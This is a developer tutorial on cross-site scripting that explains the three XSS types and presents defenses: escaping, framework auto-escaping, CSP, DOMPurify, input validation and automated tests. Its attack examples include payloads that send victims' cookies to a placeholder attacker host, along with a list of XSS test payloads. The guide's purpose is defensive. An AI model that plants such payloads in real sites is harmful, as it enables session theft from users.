XSS (Cross-Site Scripting): Complete Prevention Guide

TL;DR: Cross-Site Scripting (XSS) is a web vulnerability that allows attackers to inject malicious scripts into pages viewed by other users, enabling session theft and data compromise. Prevent it with output encoding, Content Security Policy, and input sanitization.

Cross-Site Scripting (XSS) is a security vulnerability that occurs when a web application includes untrusted data in a web page without proper validation or escaping, allowing attackers to inject and execute malicious scripts in victims’ browsers. XSS is consistently ranked in the OWASP Top 10 most critical web application security risks.

XSS attacks enable threat actors to steal cookies and session tokens, intercept sensitive data through keylogging, deface websites, conduct phishing campaigns, and install malware—all by exploiting the trust a user’s browser has in a legitimate website.

In this in-depth guide, we’ll explore the three types of XSS (Reflected, Stored, and DOM-based), how they work, and how to effectively protect your applications with modern techniques and best practices.

How XSS Attacks Work

Cross-Site Scripting (XSS) exploits the browser’s inability to distinguish between legitimate application code and attacker-injected scripts. Attackers can execute arbitrary JavaScript in victims’ browsers to:

  • Steal cookies, session tokens, and other sensitive information
  • Modify page content
  • Redirect users to malicious sites
  • Install keyloggers in the browser

Types of XSS

1. Reflected XSS (Non-Persistent)

The malicious script is reflected immediately from the HTTP request into the response.

Attack example:

https://example.com/search?q=<script>alert('XSS')</script>

If the server returns the query in the page without sanitization:

<p>Results for: <script>alert('XSS')</script></p>

The browser will execute the script.

https://vulnerable-site.com/search?q=<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>

2. Stored XSS (Persistent)

The malicious script is stored in the database and executed every time a user views the page.

Typical scenario:

An attacker submits this comment on a blog:

Great article!
<script>
  document.location='http://attacker.com/steal?cookie='+document.cookie
</script>

Every visitor who reads the comment will send their cookies to the attacker.

3. DOM-Based XSS

The vulnerability exists in client-side JavaScript code that manipulates the DOM in an unsafe way.

Vulnerable code:

// ❌ VULNERABLE
const urlParams = new URLSearchParams(window.location.search);
const username = urlParams.get('name');
document.getElementById('welcome').innerHTML = 'Welcome ' + username;

Attack:

https://example.com/dashboard?name=<img src=x onerror=alert('XSS')>

XSS Prevention: Fundamental Techniques

1. Output Encoding / Escaping

The primary defense: always encode output before inserting it into the DOM.

HTML Context Escaping

// ❌ VULNERABLE
function displayUserInput(input) {
  document.getElementById('output').innerHTML = input;
}

// ✅ SAFE - HTML escaping
function escapeHtml(unsafe) {
  return unsafe
    .replace(/&/g, "&amp;")
    .replace(/</g, "&lt;")
    .replace(/>/g, "&gt;")
    .replace(/"/g, "&quot;")
    .replace(/'/g, "&#039;");
}

function displayUserInputSafe(input) {
  const escaped = escapeHtml(input);
  document.getElementById('output').innerHTML = escaped;
}

// Even better: use textContent
function displayUserInputBest(input) {
  document.getElementById('output').textContent = input;
}

JavaScript Context

// ❌ VULNERABLE
const userInput = getUserInput();
eval(`console.log("${userInput}")`);

// ✅ SAFE - avoid eval, use JSON
const userInput = getUserInput();
const data = JSON.parse(userInput);
console.log(data);

URL Context

// ❌ VULNERABLE
const redirect = getUrlParam('redirect');
window.location = redirect;

// ✅ SAFE - validate and sanitize the URL
function isValidRedirect(url) {
  try {
    const parsed = new URL(url, window.location.origin);
    // Only allow URLs on the same domain
    return parsed.origin === window.location.origin;
  } catch {
    return false;
  }
}

const redirect = getUrlParam('redirect');
if (isValidRedirect(redirect)) {
  window.location = redirect;
}

2. Modern Frameworks with Auto-Escaping

React (Auto-escaping by default)

// ✅ SAFE - React escapes automatically
function UserProfile({ username, bio }) {
  return (
    <div>
      <h1>{username}</h1>
      <p>{bio}</p>
    </div>
  );
}

// ❌ DANGEROUS - dangerouslySetInnerHTML bypasses protection
function UnsafeComponent({ htmlContent }) {
  return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}

// ✅ SAFE - sanitize before using dangerouslySetInnerHTML
import DOMPurify from 'dompurify';

function SafeHtmlComponent({ htmlContent }) {
  const sanitized = DOMPurify.sanitize(htmlContent);
  return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;
}

Vue.js (Auto-escaping by default)

<template>
  <!-- ✅ SAFE - Vue escapes automatically -->
  <div>
    <h1>{{ username }}</h1>
    <p>{{ userBio }}</p>
  </div>

  <!-- ❌ DANGEROUS - v-html bypasses protection -->
  <div v-html="rawHtml"></div>

  <!-- ✅ SAFE - sanitize before v-html -->
  <div v-html="sanitizedHtml"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
  data() {
    return {
      username: '',
      userBio: '',
      rawHtml: ''
    };
  },
  computed: {
    sanitizedHtml() {
      return DOMPurify.sanitize(this.rawHtml);
    }
  }
};
</script>

Angular (Auto-escaping and Sanitization)

import { Component } from '@angular/core';
import { DomSanitizer, SafeHtml } from '@angular/platform-browser';

@Component({
  selector: 'app-user-profile',
  template: `
    <!-- ✅ SAFE - Angular escapes automatically -->
    <h1>{{ username }}</h1>
    <p>{{ bio }}</p>

    <!-- ✅ SAFE - Angular sanitizes HTML -->
    <div [innerHTML]="sanitizedHtml"></div>
  `
})
export class UserProfileComponent {
  username = '';
  bio = '';
  rawHtml = '';

  constructor(private sanitizer: DomSanitizer) {}

  get sanitizedHtml(): SafeHtml {
    return this.sanitizer.sanitize(SecurityContext.HTML, this.rawHtml) || '';
  }
}

3. Content Security Policy (CSP)

CSP is an HTTP header that tells the browser which resources it is allowed to load and execute.

Basic Configuration

// Express.js middleware
const helmet = require('helmet');

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"], // ⚠️ 'unsafe-inline' reduces security
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      mediaSrc: ["'self'"],
      frameSrc: ["'none'"]
    }
  })
);
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: [
        "'self'",
        "'nonce-{RANDOM}'", // Use a nonce for inline scripts
        "'strict-dynamic'"
      ],
      styleSrc: ["'self'", "'nonce-{RANDOM}'"],
      imgSrc: ["'self'", "data:", "https://trusted-cdn.com"],
      connectSrc: ["'self'", "https://api.example.com"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"],
      frameAncestors: ["'none'"],
      upgradeInsecureRequests: []
    }
  })
);

Nonce Implementation

const crypto = require('crypto');

app.use((req, res, next) => {
  // Generate a unique nonce for each request
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  next();
});

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`]
    }
  })
);

// HTML template
app.get('/', (req, res) => {
  res.send(`
    <!DOCTYPE html>
    <html>
      <head>
        <title>Secure App</title>
      </head>
      <body>
        <h1>Secure Page</h1>
        <script nonce="${res.locals.nonce}">
          console.log('This script is allowed');
        </script>
      </body>
    </html>
  `);
});

4. Sanitization Libraries

For rich content (HTML) that must be displayed, use sanitization libraries.

DOMPurify (Vanilla JS, React, Vue)

import DOMPurify from 'dompurify';

// ✅ Sanitize HTML
const dirty = '<img src=x onerror=alert("XSS")>';
const clean = DOMPurify.sanitize(dirty);
// Output: <img src="x">

// Custom configuration
const cleanWithConfig = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'title']
});

// Remove all tags, keep only text
const textOnly = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: []
});

sanitize-html (Node.js)

const sanitizeHtml = require('sanitize-html');

const dirty = '<script>alert("XSS")</script><p>Normal text</p>';

const clean = sanitizeHtml(dirty, {
  allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'li'],
  allowedAttributes: {
    'a': ['href', 'title']
  },
  allowedSchemes: ['http', 'https', 'mailto']
});

console.log(clean); // <p>Normal text</p>

5. Input Validation

const validator = require('validator');

// Email validation
function validateEmail(email) {
  if (!validator.isEmail(email)) {
    throw new Error('Invalid email format');
  }
  return validator.normalizeEmail(email);
}

// URL validation
function validateUrl(url) {
  if (!validator.isURL(url, {
    protocols: ['http', 'https'],
    require_protocol: true
  })) {
    throw new Error('Invalid URL');
  }
  return url;
}

// Length validation
function validateUsername(username) {
  if (!validator.isLength(username, { min: 3, max: 20 })) {
    throw new Error('Username must be 3-20 characters');
  }
  if (!validator.isAlphanumeric(username)) {
    throw new Error('Username must be alphanumeric');
  }
  return validator.escape(username);
}

// Schema validation with Joi
const Joi = require('joi');

const userSchema = Joi.object({
  username: Joi.string().alphanum().min(3).max(20).required(),
  email: Joi.string().email().required(),
  bio: Joi.string().max(500),
  website: Joi.string().uri({
    scheme: ['http', 'https']
  })
});

function validateUserInput(data) {
  const { error, value } = userSchema.validate(data);
  if (error) {
    throw new Error(error.details[0].message);
  }
  return value;
}

Advanced Best Practices

1. HTTPOnly and Secure Cookies

// Express session configuration
const session = require('express-session');

app.use(session({
  secret: process.env.SESSION_SECRET,
  name: 'sessionId', // Don't use the default 'connect.sid'
  cookie: {
    httpOnly: true,    // ✅ Prevents access via JavaScript
    secure: true,      // ✅ HTTPS only
    sameSite: 'strict', // ✅ Prevents CSRF
    maxAge: 3600000    // 1 hour
  },
  resave: false,
  saveUninitialized: false
}));

2. Trusted Types API (Modern Browsers)

// Enable Trusted Types
// CSP Header: trusted-types default; require-trusted-types-for 'script'

if (window.trustedTypes && trustedTypes.createPolicy) {
  const escapePolicy = trustedTypes.createPolicy('escape', {
    createHTML: (string) => {
      return DOMPurify.sanitize(string);
    },
    createScriptURL: (string) => {
      // Validate script URL
      if (string.startsWith('https://trusted-cdn.com/')) {
        return string;
      }
      throw new TypeError('Invalid script URL');
    }
  });

  // Safe usage
  const userInput = getUserInput();
  element.innerHTML = escapePolicy.createHTML(userInput);
}

3. Subresource Integrity (SRI)

<!-- Verify integrity of external resources -->
<script
  src="https://cdn.example.com/library.js"
  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
  crossorigin="anonymous">
</script>

<link
  rel="stylesheet"
  href="https://cdn.example.com/style.css"
  integrity="sha384-OLBgp1GsljhM2TJ+sbHjaiH9..."
  crossorigin="anonymous">

4. X-XSS-Protection Header

// Enable the browser's XSS protection
app.use((req, res, next) => {
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('X-Frame-Options', 'DENY');
  next();
});

// Or with helmet
app.use(helmet.xssFilter());
app.use(helmet.noSniff());
app.use(helmet.frameguard({ action: 'deny' }));

Testing for XSS

Common Test Payloads

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<body onload=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<select onfocus=alert('XSS') autofocus>
<textarea onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>
<div style="background-image:url(javascript:alert('XSS'))">

Automated Testing

const request = require('supertest');
const app = require('./app');

describe('XSS Protection', () => {
  const xssPayloads = [
    '<script>alert("XSS")</script>',
    '<img src=x onerror=alert("XSS")>',
    '<svg onload=alert("XSS")>',
    'javascript:alert("XSS")'
  ];

  test('should sanitize user input in comments', async () => {
    for (const payload of xssPayloads) {
      const response = await request(app)
        .post('/api/comments')
        .send({ text: payload });

      expect(response.status).toBe(201);

      // Verify that the payload was sanitized
      const getResponse = await request(app)
        .get(`/api/comments/${response.body.id}`);

      expect(getResponse.body.text).not.toContain('<script');
      expect(getResponse.body.text).not.toContain('onerror');
      expect(getResponse.body.text).not.toContain('onload');
    }
  });

  test('should have CSP headers', async () => {
    const response = await request(app).get('/');
    expect(response.headers['content-security-policy']).toBeDefined();
  });
});

Penetration Testing Tools

# XSStrike - Advanced XSS detection
git clone https://github.com/s0md3v/XSStrike
cd XSStrike
python xsstrike.py -u "http://localhost:3000/search?q=test"

# OWASP ZAP
docker run -t owasp/zap2docker-stable zap-baseline.py -t http://localhost:3000

Security Checklist

Always use textContent instead of innerHTML when possible
Sanitize HTML with DOMPurify or similar libraries
Implement a strict Content Security Policy
Validate and sanitize all user input
Use modern frameworks with auto-escaping (React, Vue, Angular)
Set cookies with httpOnly, secure, and sameSite
Implement the Trusted Types API for modern browsers
Use Subresource Integrity for external resources
Enable X-XSS-Protection and X-Content-Type-Options headers
Avoid eval(), innerHTML, document.write()
Test with common XSS payloads
Conduct regular penetration testing

Safe Patterns for Common Use Cases

Displaying a Username

// ✅ SAFE
const displayName = (name) => {
  const element = document.getElementById('username');
  element.textContent = name; // Auto-escaped
};

Form with Rich Text Editor

import DOMPurify from 'dompurify';

const saveArticle = async (content) => {
  const sanitized = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'ul', 'ol', 'li', 'a'],
    ALLOWED_ATTR: ['href', 'title', 'target']
  });

  await fetch('/api/articles', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ content: sanitized })
  });
};

Safe Redirect

const safeRedirect = (url) => {
  const allowedDomains = ['example.com', 'app.example.com'];

  try {
    const parsed = new URL(url);
    if (allowedDomains.includes(parsed.hostname)) {
      window.location.href = url;
    } else {
      console.error('Redirect not allowed');
    }
  } catch {
    console.error('Invalid URL');
  }
};

Frequently Asked Questions

What’s the difference between Reflected, Stored, and DOM-based XSS?

Reflected XSS executes immediately from a malicious URL (e.g., ?search=<script>...), requires the victim to click a crafted link, and doesn’t persist. Stored XSS is saved in the database (e.g., a comment) and executes for every user who views it—the most dangerous type. DOM-based XSS occurs entirely in client-side JavaScript manipulating the DOM unsafely (e.g., innerHTML = userInput), never reaching the server.

Is using React/Vue/Angular enough to prevent XSS?

Modern frameworks provide strong default protection by auto-escaping output, but they’re not foolproof. Unsafe APIs like React’s dangerouslySetInnerHTML, Vue’s v-html, or Angular’s bypassSecurityTrust methods disable protection. You must still sanitize with DOMPurify before using these escape hatches, validate server-side, and implement Content Security Policy as defense-in-depth.

How does Content Security Policy (CSP) prevent XSS?

CSP is an HTTP header that tells browsers which resources are safe to load and execute. A strict CSP like script-src 'self' blocks all inline scripts and external scripts except from your domain, neutering most XSS attacks. Even if an attacker injects <script>alert('XSS')</script>, the browser refuses to execute it. Use nonce-based or hash-based CSP for the strongest protection.

Should I sanitize user input on the backend or frontend?

Both, for different reasons. Backend sanitization prevents malicious data from being stored and protects other systems (APIs, databases). Frontend sanitization/escaping is the last line of defense before rendering—use it even for “trusted” backend data, since backend validation might be bypassed or outdated. Defense-in-depth means never trusting a single layer.

What’s the difference between encoding/escaping and sanitization?

Encoding/escaping converts special characters to safe representations (< becomes &lt;), preserving the original content but making it safe for a specific context (HTML, JavaScript, URL). Sanitization removes or strips dangerous content entirely (e.g., removing <script> tags from HTML). Use escaping when displaying plain text, sanitization when you need to preserve some HTML formatting.

Additional Resources

Conclusion

XSS is a serious but preventable vulnerability with the right techniques:

  1. Use modern frameworks with auto-escaping
  2. Sanitize untrusted HTML at all times
  3. Implement a strict CSP
  4. Validate inputs
  5. Test regularly

By following these best practices, you’ll protect your applications and your users’ data from XSS attacks.


Want to dive deeper into web security? Read our guide on SQL Injection Prevention and follow @CodeFortress for more content!